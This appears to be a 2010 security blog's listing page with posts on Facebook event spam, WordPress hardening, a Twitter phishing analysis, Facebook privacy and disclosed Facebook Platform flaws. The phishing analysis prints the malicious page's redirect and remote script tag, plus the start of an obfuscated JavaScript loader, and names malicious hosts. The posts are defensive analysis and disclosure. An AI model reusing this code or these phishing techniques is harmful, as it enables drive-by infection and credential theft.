Spam via Facebook Events Highlights Ongoing Challenges

Earlier today, I received an invitation to a Facebook event from “Giovanna” – someone I’d never heard of and certainly never added as a friend. The invite came as a bit of a surprise, since my profile was fairly locked down. While anyone could search for it, all profile information was set to “Friends Only,” and sending messages or making friend requests was limited to “Friends of Friends.” None of my friends seem to know Giovanna, and her profile is probably fake anyway.

The event title proclaimed “iPhone Testers Needed!” and might be enticing to users who want an iPhone. While the event page included more information on the supposed testing program, the invite was followed by a message from the event creator. Once you’re on the guest list for a Facebook event, the event administrators can send out Facebook messages you’ll receive, regardless of privacy settings. This particular message (which also arrived in my e-mail inbox due to notifications settings) included a link to the iPhone opportunity, which unsurprisingly was a typical “offer” page that required me to submit personal information and try out some service before I could get my fancy new phone.

I began investigating how this all happened. When you create a Facebook event and try to invite people, you’ll only see a list of your friends to choose from. But it turns out that on the backend, nothing prevents you from submitting requests directly to Facebook with other people’s Facebook IDs. In my testing, I’ve been able to send event invitations to other users even if we’re not friends and they have tight privacy settings. I’m guessing that using this technique to invite more than a few people could raise a spam alert, but I’m not sure. Also, an event invitation does not give the event creator increased access to any profile information of guests, but as already noted, it does let event administrators send messages to people they might otherwise not be able to contact.

I’m sure Facebook will take action soon to clamp down on this particular loophole, so I think it unlikely we’ll see it exploited too widely. (The iPhone testing event currently has around 1800 guests – significant, but tiny compared to other Facebook scams.) But it does demonstrate the sort of challenges Facebook is having to handle as their network and power expand. Several years ago, when the site was used for little besides keeping in touch with college classmates and other offline friends, Facebook was seen as mostly spam-free, in contrast to services like Myspace. Now that applications, social gaming friends, and corporate brands have all become integral parts of the Facebook experience, black hat marketers keep finding new ways to spread links among users. And worse, those tricks can often be used to spread malware as well.

I do think that Facebook wants to avoid annoying users with spam, and works to prevent your inbox on the site from becoming as flooded as a typical e-mail account. But a network of 500 million people presents a very enticing target, and we’ll keep seeing new scam ideas pop up as Facebook expands and adds features. In the mean time, continue to be wary of any links  promising a glamorous reward for free.

Secure Your WordPress By Learning From My Mistakes

Several weeks ago, I managed to create a small ruckus on Twitter by issuing a warning about a possible WordPress vulnerability. I was rather embarrassed to eventually discover that the actual problem related to a backdoor still on my server from a previous hack. This was not my first lesson in WordPress security, but it was certainly a memorable one.

I first created this blog in 2007 after finding basic CSRF issues in the first publicly available OpenSocial application. At the time, I admittedly knew very little about application security (not that I know much now!), but I was interested in many aspects of building online social networking systems, and that led me to research security issues more and more. Over time, this blog grew and several other projects hosted on the same server fell by the wayside. As my understanding of security also grew, I found some of my sites hacked a few times, and I undertook a number of steps to secure this WordPress installation.

That maintenance contributed to the confidence I had in my warning on Twitter – malicious scripts kept popping up in my site’s footer, and the only apparent problem were some suspicious requests to a particular WordPress interface. I had looked gone through all my plug-ins (the apparent source of previous attacks), double-checked my permissions, changed passwords, etc. I finally did a thorough sweep of every single folder on my site, and lurking in an upload folder, I found a sophisticated PHP backdoor.

I’m guessing that file originally been placed during a much older attack and I’d simply missed it until now. Since deleting it and taking even more steps to protect my blog, I’ve not had any more trouble. I wouldn’t presume to think this site is 100% secure and I’ve never claimed to be an expert on application security, much less WordPress or PHP security, but I’m now quite confident that I’ve taken enough precautions to avoid most attacks.

That leads me to the following list of steps I’ve performed to harden this particular WordPress site. If you’ve not taken the time to ensure your blog is secure, this may be a good guide for you to start with. I’m indebted to many websites on WordPress security, and while I would want to link to all of them, I’m honestly not sure of all the specific ones I’ve drawn from and it would take a while to piece them together. A quick search will bring up many helpful recommendations, and I encourage you to check them out in addition to these tips.

  • Stay updated. Running the most current version of WordPress is probably the most important step. My host offers automatic updating for my installations. Also, be sure to keep your plug-ins updated as well.
  • Protect other sites. If you have more than one website running on the same server, make sure all of them are secure. One vulnerable application can compromise others. If you have sites that you don’t maintain, consider deleting them or locking them down to avoid future problems.
  • Scan through all of your folders. If you haven’t done this in a while, now would be a good time. Look through what files are present and keep an eye out for anything suspicious. Check your WordPress files against a fresh download to make sure they line up.
  • Scan through all of your permissions. This should be fairly easy with an FTP program that displays permissions settings. With rare exception, I keep files at chmod 644 and folders at chmod 755.
  • Periodically change passwords. Definitely modify your passwords if you’ve recovered from an attack. Remember to change your database password (and corresponding line in wp-config.php) as well as account passwords.
  • Use modified passphrases. This is one tip I don’t see often, but it’s one of my favorite tricks. Rather than simply jumbling characters into a password you have trouble remembering, start with a sentence. Not something terribly common, but something familiar to you. Pick one with at least six words in it. Take the whole sentence, with capitalization and punctuation, and add some complexity – append some numbers and punctuation at the beginning or end, and maybe change a few letters to numbers (such as “3″ for “e”). You should then have a very strong “password” that’s much easier to remember. Many websites and applications will let you use spaces and hundreds of characters in your password. But once again: avoid common phrases, include at least six words, and don’t just use a sentence without adding some numbers and special characters.
  • Check your users table in the database. I’ve seen attacks before that lead to the creation of an administrative account which is then hidden from the list of users in the web-based control panel. I’ve never quite understood why hidden users should be allowed, but that could be part of the attack to begin with. Anyway, just to be careful, I like to look at the actual table in the database and see if any other accounts have administrative privileges.
  • Double-check and clean up all plug-ins. I’ve deleted every plug-in I don’t use, and I try to keep all of my active plug-ins current. If you have a plug-in that’s no longer maintained or hasn’t been updated in a long time, you should probably check and see if a newer replacement is available. In my experience, plug-ins can be one of the weakest points in your WordPress installation. It’s kind of like a certain other site I know well – Facebook itself tends to be pretty secure, but you can often access data through vulnerable Facebook applications.
  • Add HTTP authentication to your wp-admin folder. This is covered in many places online so I’ll not recap specific steps here. And I’ll add that I realize this is not a silver bullet – basic authentication sends passwords in cleartext (so don’t use the same credentials as your WordPress account), and the traffic is not encrypted if you’re not using SSL/TLS. But adding another login prompt for the admin panel adds friction and may repel less-determined attackers. (This tip is obviously geared towards those who don’t have user accounts for non-admins.)
  • Move wp-config.php to a folder not as easily accessible. You can place wp-config.php one folder above your WordPress install; under my hosting setup, this location does not correspond to any public website folder. I also set mine to chmod 644 after changing it.
  • Rename your admin account. Several means exist to do this; I simply edited the record in the database.
  • Change your table prefix. This can be a bit of a hassle, but plug-ins exist (see below) to help. I’ll admit that I still need to check this one off my own list; long story.
  • Disable interfaces such as XML-RPC if you don’t use them. I don’t doubt that the programmers behind WordPress have worked hard to secure these interfaces, but I simply don’t like having another avenue of accessing administrative functions. And I think it’s not a bad idea to disable features you don’t actually need.
  • Use security tools. I installed the WP Security Scan plug-in after reading about it on WordPress’ own hardening guide.
  • Keep monitoring your site. I make a habit of loading up my homepage ever so often, hitting “View Source,” and scanning through the HTML. If I ever see an unfamiliar script or iframe element, I look closer.

That’s my personal list of WordPress security tips, based on many helpful resources and my own experiences of getting hacked. These certainly don’t apply to everyone, more could be added, and your mileage may vary, but hopefully this will help others avoid some of the problems I encountered. Be sure to look at other people’s advice as well and watch out for any WordPress security news.

Interesting New Twitter Phish Can Lead to Bad Places

I’ve had several fake emails that initially look like they come from Twitter in my email recently.  I didn’t think anything of it until several of my friends forwarded me the same type of emails.  This suggests two things.  One, that these emails are starting to hit a larger audience.  Or two, they are targeting just my friends and I which is totally possible. :-) Anyway, here is a quick bit of analysis of one of these emails.  I found some interesting things when I investigated the website linked in the fake email.  The link in this particular could have done more damage if it wasn’t for some crappy attacker code.  Read on!

The Email
The following screen shot shows you what the email looks like.  It seems to come from Twitter but you will notice that there are some interesting clues that tell you this isn’t real.  First, the Twitter account mentioned is just the first part of the email address this was sent to.  This may or may not be your Twitter ID.  Second, check out the “Britney Spears home video feedback” subject line and “Antidepressants for your bed vigor” bold red in the message body.  Yep.  All the signs that this isn’t from Twitter.  Ok, nothing to see here right?

The Link
When you look at the source of the email, the link actually goes to “hxxp://89.161.148.201/cekfcq.html”. If you do click on this link several things happen:

An HTML page is loaded which redirects you to a shady Russian software site.  This site (software-oemdigital.ru) has a ton of phisy looking domains that were assigned to it since 6/11/2010.  The HTML file also loads a script which runs a PHP file on another server.  Let’s take a look at the response:

HTTP/1.0 200 OK
Connection: close
Content-Length: 250
Content-Type: text/html
Date: Wed, 23 Jun 2010 15:09:53 GMT
Last-Modified: Wed, 23 Jun 2010 08:30:01 GMT
Server: IdeaWebServer/v0.70

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”>

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=hxxp://software-oemdigital.ru”>
<title></title>

<html><head>
</head></html><script src=hxxp://eurolisting.net/Cgi-bin/markprint.php ></script>

The Russian software site loads as normal but something else is going on in the background from eurolisting.net and that PHP file.  Here is the response:

HTTP/1.1 200 OK
Connection: close
Date: Wed, 23 Jun 2010 17:46:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=1287414902; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/javascript

// <script>
function cxx(wcH){return wcH.replace(/%/g,”).replace(/[‘ow:Y]/g,fUp)}
cPH7j=’d:6fcY75meY6et.Y77rio74w65(Y22o3cdiv stylew3d:5cY22pw6fsitio6fnY3aaw62so6fl:75o74Y65o3b lefto3a:2d1000pxY3bw20tY6fp:3aw2d10w300pxw3bo5cw22:3ew22Y29w3b:66unctiY6fn :6973(a)o7bdY6fcu:6deY6et.w77rw69te(:22:3cifrao6d:65w20srcw3do5co22httw70Y3ao2f <SNIP>

All of the stuff following the script tag is obfuscated JavaScript.  I cut most of it out as it is quite lengthy.  Running this through jsunpack (a JavaScript unpacker) the script tries to load several things including some VBScript that seems to check for system properties, if you are running Firefox and if you have Java and/or Flash enabled as well as what seems to be a check for Adobe Reader plug-ins.  You can check out the script and the unpacked version over at the jsunpack site.

Now this is where it gets interesting.  In Internet Explorer the PHP file seems to generate a request to a URI that doesn’t exist: hxxp://89.161.148.201/zzz/ttt/ad3740b4.class, it 404′s.  You can also see this in the Wireshark capture below:

In Firefox it’s a different story.  The Russian software site still loads and something else attempts to get requested:

hxxp://wiki.insuranceplanningaz.com/main.php?h=89.161.148.201&i=JcmridQaq/ykgRj4UMpOy5Ec&e=4

This site will lead to some fun “fake AV” which prompts you to download a “setup.exe” file.

You probably don’t want to run that file.  The good news is that if you have the latest version of Firefox it will note this as a reported web forgery and tries to prevent you from going there.  One problem I see is that if you are running an older version of Firefox you might not get this notification.  I haven’t tested this with other browsers but your results may vary.

What does this all mean?  Well of course don’t click on shady emails like this.  You know better right?  Also, don’t think that because you use Firefox you are safe from attacks like these!  Attackers are catching on and I would suspect we will see more attacks targeting multiple browsers besides IE.  Wait, too late isn’t it?  Special thanks to Greg and Tyler for providing intel about these domains and some of the analysis.

Share and Enjoy


FacebookTwitterDeliciousDiggStumbleUponAdd to favoritesEmailRSS


Facebook Privacy & Security Guide Updated to v2.2

I have updated the Facebook Privacy & Security Guide to version 2.2 over on SocialMediaSecurity.com.  If you’re not familiar with the guide it is an easy to use guide which helps you set the recommended privacy and security settings on your Facebook account.  It’s free, printable and meant to be shared.

This update includes details on all the recent changes to Facebook’s privacy settings that went live May 26, 2010.  I have also included more information on “Instant Personalization”, removing yourself from “Platform”, and how your public information can be accessed via the Facebook Graph API.  Note that you may not have these settings enabled on your Facebook profile…yet.  They are slowly being rolled out to the Facebook user base and may take a few weeks.  Please share with friends, family and others!

Download the latest version of the Facebook Privacy & Security Guide here.

Share and Enjoy


FacebookTwitterDeliciousDiggStumbleUponAdd to favoritesEmailRSS


My Thoughts on the New Facebook Privacy Controls

Ever since I started the Facebook Privacy & Security Guide back in October 2008 I knew that Facebook’s privacy settings were confusing for the average user.  Many of my concerns back then centered around friends and family that had no idea there were even privacy settings to configure on Facebook.  It has also never been in Facebook’s financial interest to *really* show you how to protect the information you post.  These are all reasons was why I started the guide and hopefully over the last few years it has helped spread some awareness on how to control the information you post a little better.  Working on the guide has been frustrating at times because Facebook would make settings more confusing, remove settings that were useful and then bring them back again in some other form.  In the latest versions of the guide I often wondered how I was going to fit all the settings and their explanations into a two-sided handout.  The handout format has always been important to me so it could be easily distributed. :-)

Jumping forward to today we see yet another iteration of these settings.  I don’t have the settings on my Facebook account yet so I haven’t updated the guide but I have read some of the information already out there.  The EFF has a good post up about the new settings.  They even have a YouTube video showing you the changes and their recommendations.  The other post you should read is one by theharmonyguy who, as always, has very good analysis of these settings and Facebook overall.

My thoughts are pretty much along the same lines as the EFF and others.  However, I will say that no matter what changes Facebook makes to their privacy settings they *will* find ways to use your information to make money.  This is Mark Zuckerberg’s business model and that won’t change anytime soon.  I will leave you with a fantastic quote that I think sums up all the media drama leading up to these new privacy controls.  This is a quote from Bruce Schneier.  It’s from an article he did for Forbes regarding statements that “Privacy is Dead”:

“It’s just not true. People, including the younger generation, still care about privacy. Yes, they’re far more public on the Internet than their parents: writing personal details on Facebook, posting embarrassing photos on Flickr and having intimate conversations on Twitter. But they take steps to protect their privacy and vociferously complain when they feel it violated. They’re not technically sophisticated about privacy and make mistakes all the time, but that’s mostly the fault of companies and Web sites that try to manipulate them for financial gain.”

Share and Enjoy


FacebookTwitterDeliciousDiggStumbleUponAdd to favoritesEmailRSS


Facebook Backtracks on Privacy Controls and Public Information

Facebook CEO Mark Zuckerberg held a press conference today announcing significant changes to the site’s privacy settings. The latest updates come after weeks of debate and criticism over Facebook’s handling of user information. Though it may take several days or weeks to roll out the new controls, an official privacy guide provides a summary of how they work. Full details are still rolling in, but certain aspects are already clear.

First, the new interface for making many changes appears to be much more streamlined. This should be a welcome change to those confused by the previous litany of options. The primary privacy page displays a table with columns for “Everyone,” “Friends of Friends,” and “Friends Only,” with rows for several categories of content. This table not only establishes settings for certain bits of profile information; it also lets users set defaults for new content shared.

Second, Facebook has removed the requirement that “connections,” such as your list of friends and the pages you “like,” always be publicly available information. A secondary page will provide access controls for certain groups of these connections, as well as who can friend you, send you messages, or see your profile in search results.

Third, users will have new options related to third-party applications that integrate with Facebook. The company had previously announced a granular permissions model for applications, and developers are in the process of transitioning to the new setup. Those permissions will now be reflected in the privacy settings, though how that will look is not yet clear. (Also, Facebook’s privacy guide assures users that applications can only request “information that’s needed for them to work,” but that’s up to developers.) Facebook is also re-instating an option to completely opt-out from the Facebook Platform. This setting had been available prior to changes last fall. However, it now appears that this opt-out will also be the only way to avoid public content being indexed by search engines.

Zuckerberg promised an “easy” way to opt-out of the controversial instant personalization program, which lets certain third-party websites automatically identify Facebook visitors, but the feature remains opt-out. Many of the other privacy settings are also still opt-out in that the site defaults appear to remain the same, presented as “Recommended” when a new user checks them.

I’ve been concerned about the tone of some Facebook responses to recent privacy concerns, and today’s presentation by Zuckerberg was no exception. He noted that the company had not seen any noticeable impact on site usage lately, and according to one report commented, “Perhaps the personal privacy preferences of liberal advocacy groups and DC politicians don’t match with those of the general public.” That may be true, though I think politicians or privacy advocates have a deeper understanding of recent changes than the general public. Still, this sort of remark comes across as at best somewhat irritated and at worst rather arrogant. It also probably won’t win over any liberal advocacy groups or DC politicians. (For the record, I don’t fall into either category.)

Other aspects of the announcements lead me to wonder how much Facebook truly understands the rising worries over the site’s handling of privacy issues.  Zuckerberg emphasized the site’s focus on sharing, that users want to share, and his belief that people want to share more openly. The default privacy options clearly reflect this belief, positioning Facebook as a site generally intended for public sharing.

But I think Zuckerberg is confusing the desire to share easily or freely and the desire to share publicly. Several researchers have explored how people approach privacy, and people constantly use services such as Facebook to post content they would not want distributed to the entire Internet. We’ve become accustomed to the idea of being private in public, since our offline conversations in public settings are not recorded and indexed for anyone to search. What would be the harm to users if content was private by default, but could be opened to the public if the author wanted that? After all, this is how Facebook operated for the first few years of its existence – and it likely played a significant role in the site’s growth.

Of course, while an opt-in approach may help many users, Facebook wants users to share more openly. More public content provides more value for other services that might integrate with Facebook, extending the site’s reach and influence. That’s part of why I find it difficult to simply accept Zuckerberg’s notion that most people are moving towards public sharing on their own: regardless of what individuals think, Facebook itself certainly has an opinion on how much you should share.

And that’s the real question – how much you share, not whether you share. I’ve never been opposed to making it easier for users to share content. But I do have a problem when a site that was built on sharing with a limited audience reorganizes to make that same type of sharing more difficult than fully public sharing – an activity that carries far more potential dangers, both social and otherwise.

Facebook has built an unprecedented audience of users who give it significant trust. I’m glad to see the company making welcome changes which assist users who actively care about privacy controls. But I remain concerned that the company’s overall perspective still reflects questionable ideas, such as the notion most people are not concerned about privacy, and either fails to recognize the company’s role as a trend-setter or ingenuously downplays it. That’s not a personal attack on Zuckerberg, whom I’ve never met, or anyone else at Facebook. It’s simply my evaluation of the service’s direction based on recent features and public relations. And I think Facebook owes its users much better.

Why the Current Facebook Privacy Debate Matters

Privacy has been a hot topic of discussion among all sorts of technology-minded people lately. But take a moment to consider why this debate is even happening. One could list several events involving several companies that have all influenced the controversy, but generally, much of the talk stems from changes made by Facebook over the past year.

Why the Change?

And why did Facebook make those changes? There’s no technological reason for many of them. Nothing about liking pages or using social plug-ins forced the company to remove old access controls or make “instant personalization” an opt-out feature. Facebook’s executives made a policy and business decision to push users into more public sharing. In many ways, we’re having this debate because Facebook chose to make it an issue.

That’s not a criticism, simply an observation. In fact, many would probably say that Facebook was right to challenge ideas on privacy. Popular tech blogger Robert Scoble has repeatedly argued that Facebook’s changes bring many benefits to users. One writer at Fortune questioned any backlash and gave this response to Pandora’s new social setup: “My first reaction? Creepy! My second reaction: Cool!” Is it wrong to force users into a new situation that’s uncomfortable at first if it ultimately brings significant value?

In this case, however, the ultimate value to users remains unclear. Many users will certainly find advantages to a freer flow of information. But does Facebook really have the right to decide whether content people had previously restricted should now be available publicly? How can any of us judge whether the benefits outweigh the downsides for each user? Many users chose to put information in their profiles that they did not want shared beyond certain limits. If exposing that information seems trivial, are you certain you understand why the profile owner thought limits so important to begin with?

I would argue that by pushing the envelope on our understanding of privacy, Facebook’s leadership made changes that benefit the company, partly by also benefiting developers and partners. That’s not necessarily a bad thing – Facebook is a business and has to make money. But while those changes do benefit some users, perhaps even a majority of users, they also harm the trust of many other users who had shared private content on Facebook.

Where’s the Backlash?

In the short term, the benefits outweighed the downsides for Facebook. Several high-profile users have deleted their accounts, and others are following suit. But keep in mind that even if 10 million people stopped using the site, that would only be a 2% reduction in user base.

As the company faces widespread criticism and possible regulatory changes, you might expect Facebook to back down on some of their changes. I doubt it. Facebook’s executives know the company enjoys a very strong position in the market right now. They can afford losing 2% of users without breaking a sweat. And if people do leave, where will they go?

Given that level of security, why bother talking about Facebook privacy? Why does it matter if techie types bail on the service? Should we simply get used to having less control and move on?

To put it another way, should we let Facebook dictate our understanding of online privacy?

I realize Facebook will probably never go back to the way it once was and that there’s essentially no hope of meaningful competition in the short term. Yet Facebook didn’t reach this place overnight. Industry shifts take time. And many influential people in technology are often on the bleeding edge of such shifts.

Is Privacy Dead?

For the time being, though, Facebook users will likely react in one of three ways. First, they may not understand the implications of updates and keep using the site as before. Second, they might embrace the new capabilities and voluntarily unleash more content. Third, they will decide that they derive too much value from Facebook to let it go, and thus will, perhaps begrudgingly, keep their account – but they’ll be far more careful about what they post in the future.

I suspect that as awareness grows of how much data Facebook now distributes, many people will take more precautions in using the site. That’s not necessarily a bad thing – I’ve long argued for increased education of online dangers. People need to be careful online, regardless of how “private” a service seems. But care is not the same as paranoia or having to manage your identity the way a celebrity might. If Facebook wanted to increase intimacy and authenticity among online friends, they may find they’ve actually done the opposite.

Some people, such as Scoble or perhaps Mark Zuckerberg, have chosen to live their lives with “radical transparency.” Most of us probably still want to keep certain information private, and yet we routinely share that information with parties we trust – even online. I use my credit card number when shopping at Amazon, but I’d prefer they keep it to themselves. When I filled out web-based job applications last year, I often had to disclose my social security number – a small bit of data I would not want passed around. In a more offline example, I’ve often shared personal struggles with close friends in other states by talking with them on my mobile phone.

I realize that a determined hacker could possibly steal my payment info or even my SSN when I send that data to websites. I also know that my phone can be tapped or that my friends could repeat our conversations to others. But based on a wealth of factors, I make a decision to take those risks, since I judge the likelihood of these scenarios (especially given certain precautions I take) to be minimal.

The idea that any data you transmit to another computer should be considered public has significant merit. In practice, though, much of our offline lives face the same technical threat of publicity, and channels have long existed to share electronic data with only a limited audience. Most of us would not want the entire world to see all of our e-mails, and a range of businesses let only certain people access certain servers.

Which brings me back to one of my original points: nothing forced Facebook in a direction away from privacy. They chose it. I doubt whether they would have around 500 million users today if they had chosen that direction years ago. But even if Facebook now thinks I should share all of my content with everyone, I still find value in keeping some information limited. For me, that’s the essence of online privacy. And while one website with a very large audience may have reduced privacy by keeping me from using their features in a limited way, I will continue to exercise control over my data in other ways.

What Now?

The current debate about Facebook and privacy may seem confusing, futile, or even pointless. But it’s important to evaluate the background and ramifications of Facebook changes, especially given the company’s influence on industry trends. It’s important to realize that visible competition and meaningful alternatives to Facebook will require months or even years of development. And it’s important to understand how much privacy still plays a role in the way people manage and share information, whether online or offline.

Perhaps Facebook will end up right, and most people will move away from old ideas about privacy. But I’d rather see companies educate users on new features and empower them to choose more public sharing rather than expose previously private content and encumber such a change with illusory settings. Facebook may try to say most people don’t mind their new take on privacy, but I think they’ll find this debate is far from over.

More Recent Security Problems with the Facebook Platform

I want to preface this post by noting that I have plenty of respect for the engineers at Facebook, and I realize they face many challenges maintaining the security of such a complex website. However, given Facebook’s current status and reach, I also think it important to keep the site accountable when it comes to issues that risk unwanted information disclosure or other problems for end users.

Facebook’s faced criticism for several security issues over the last few weeks. In April I reported on a vulnerability that allowed applications to be hijacked for stealing data or spreading malware. More recently, a glitch allowed users to spy on Facebook Chat sessions and problems with Yelp showed the risks of cross-site scripting in “instant personalization” sites.

Unfortunately, I have a few other holes to report. I first notified Facebook of these new issues last month, but I wanted to give time for patches before I published details on the problems. Facebook has since made several changes that address some of the issues I raised. However, some of the problems appear to remain. Given the updates and length of time since my reports, I decided to go ahead and post about these issues, but I’m withholding technical details on issues that are still active.

Weak Session Secrets

On April 19, I notified Facebook of a behavior I was observing in applications and Facebook Connect websites. Prior to the new OAuth 2.0 model, the required parameters for a Facebook API request included a session key (identifying the user’s session with the application) and a session secret (a code to verify the authenticity of the request’s source). If an application used an <fb:iframe> or <fb:swf> tag to load content from another domain (such as an advertisement), the request to the other site would include the session key, but not the session secret.

The problem I saw, however, was that the session secrets being issued were part of the session key. For example, suppose Facebook issued this session key: 2.sNXhV4G1ILRKkvdBHoIbTg__.3600.1271682500-00000000. The session secret would then simply be the first set of characters between periods: sNXhV4G1ILRKkvdBHoIbTg__. This meant that any site which acquired a valid session key could extract the session secret and make API requests. While harvesting the session key is not necessarily trivial, the code is passed around more freely than a session secret (such as the advertising example noted above) and vulnerabilities listed below could be combined with this behavior.

I’m not sure exactly when Facebook started issuing weak session secrets, but when I made the report I had observed several of them and tested that I could extract session secrets from session keys. After about a week, I once again saw session secrets issued that bore no relation to the session key, and I could no longer extract a string from the session key and use it to issue API requests.

Arbitrary FBML/FBJS on Facebook.com

On April 14, I noted an even more worrisome issue, and on April 29 I sent a similar problem using a different URI. In both cases, I’d uncovered a way to render arbitrary FBML/FBJS in the context of a facebook.com page without any typical UI chrome. Such a vulnerability presents a range of possible attacks.

First, this could enable the same sort of data harvesting I had demonstrated with the Facebook Platform vulnerability published last month. I could load a Facebook page that included inline frames pulling content from other websites. While <fb:iframe> did not appear to include the session secret in requests, it did include enough information to identify the current user, as well as the session key. Also, the <fb:swf> tag for loading Flash content did include the session secret as a parameter when loading content, even from other domains.

One could also combine the new OAuth 2.0 flow with this issue to harvest a user’s Facebook ID and access public information about them. Essentially, you could imitate the behavior of an “instant personalization” partner on any website, with or without notice. This happened because the OAuth redirect parameters allows facebook.com URIs.

Second, since the page would render on facebook.com, I could load other Facebook pages in iframes and they would not have clickjacking protection enabled. This would allow previously described clickjacking attacks to be launched once again.

Third, it was unclear to me if the vulnerability enabled some further application hijacking by a failure to check a parameter for cross-domain communications. This aspect could have been nothing, but I’ve not done enough testing to make sure.

Finally, the problem presents a dream situation for phishing. Once could easily load a convincing Facebook login form that sends the information to another server – and the URI for the page would appear to be on facebook.com.

Over the last few weeks, Facebook has altered these pages so that they no longer render all FBML or FBJS code. Specifically, iframes and Flash content will no longer work. This prevents many of the attacks described above, especially those that allow automatic data harvesting.

However, one can still render a range of code using these pages, including form elements. That means the phishing scenario described above is still an active possibility. To make matters worse, the parameters necessary to render code can be included in a POST request, meaning the URI in the user’s address bar for an attack page could be a short facebook.com address.

Below is a screenshot of this website loaded in the context of a facebook.com page using the original vulnerability reported on April 14. The second method uses a www.facebook.com page, resulting in an even shorter URI on the address bar.

Social Hacking (theharmonyguy.com) loaded on a facebook.com page

This particular issue actually came from a Facebook feature that was implemented without much security. I knew that fixing it might take some time, since a number of developers depended on the feature involved. I’m glad that some of the threats have been removed, but more still needs to be done before this feature can be considered secure.

Update: Since this post I’ve found a third implementation of the feature, and this method provides an even shorter URI.

Update 2: It appears the feature involved in this FBML/FBJS issue was deployed in July 2008, so it’s quite possible the problems I noted in April have been active for almost two years.

1 2 3 4 5 25